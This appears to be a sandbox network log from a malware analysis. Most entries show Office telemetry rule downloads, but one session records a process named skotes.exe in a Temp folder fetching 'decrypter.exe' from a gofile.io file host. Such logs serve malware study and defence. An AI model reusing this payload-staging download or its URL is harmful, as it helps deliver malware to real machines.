2024-11-12 01:14:22 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:22 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011422Z-16547b76f7fcjqqhhC1DFWrrrc0000000etg00000000rvm1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:22 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:22 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:22 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 8dbb7985-901e-005b-56a0-342005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011422Z-17df447cdb5rnd49hC1DFWgmpw00000005q00000000005wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:22 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:22 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 58833dad-701e-0097-44a0-34b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011422Z-17df447cdb5jg4kthC1DFWux4n0000000b8000000000axqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:22 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:22 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a8f5567d-f01e-003f-7aa0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011422Z-17df447cdb59mt7dhC1DFWqpg40000000b5000000000nygc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:22 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:23 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 78a7a01f-701e-0053-1aa0-343a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011422Z-17df447cdb5rnd49hC1DFWgmpw00000005kg00000000azc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:23 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:23 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:23 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: a35882d9-a01e-000d-39a0-34d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011423Z-15869dbbcc6tjwwhhC1DFWn228000000088g00000000e2uy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:23 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:23 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:23 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: ff648744-f01e-0096-2ca0-3410ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011423Z-17df447cdb54ntx4hC1DFW2k400000000bhg000000009gb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:23 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:24 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 0d4844d6-201e-0071-59a0-34ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011423Z-15869dbbcc6rmhmhhC1DFWr8y0000000072g000000001bz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:23 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:23 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: fadf1528-a01e-001e-72d2-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011423Z-16547b76f7fp46ndhC1DFW66zg0000000ezg000000009qcv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49899	49.12.130.36	443	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:23 UTC	112	OUT	GET /download/web/e0a000c3-418c-4ce9-9bba-affc23d7af8a/decrypter.exe HTTP/1.1 Host: cold-eu-fsn-2.gofile.io
2024-11-12 01:14:24 UTC	527	IN	HTTP/1.1 302 Found Server: nginx/1.27.2 Date: Tue, 12 Nov 2024 01:14:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 79 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range Location: https://gofile.io/d/bcfa72bd-ef57-4519-ad7e-6fc790a80290
2024-11-12 01:14:24 UTC	79	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 62 63 66 61 37 32 62 64 2d 65 66 35 37 2d 34 35 31 39 2d 61 64 37 65 2d 36 66 63 37 39 30 61 38 30 32 39 30 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://gofile.io/d/bcfa72bd-ef57-4519-ad7e-6fc790a80290">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:23 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:24 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a35883a7-a01e-000d-7ea0-34d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011423Z-17df447cdb5lrwcchC1DFWphes0000000b8g00000000e983 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:24 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:24 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:24 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 14de8335-b01e-003e-77d2-2c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011424Z-16547b76f7fdf69shC1DFWcpd00000000eyg0000000007rm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:24 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:24 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
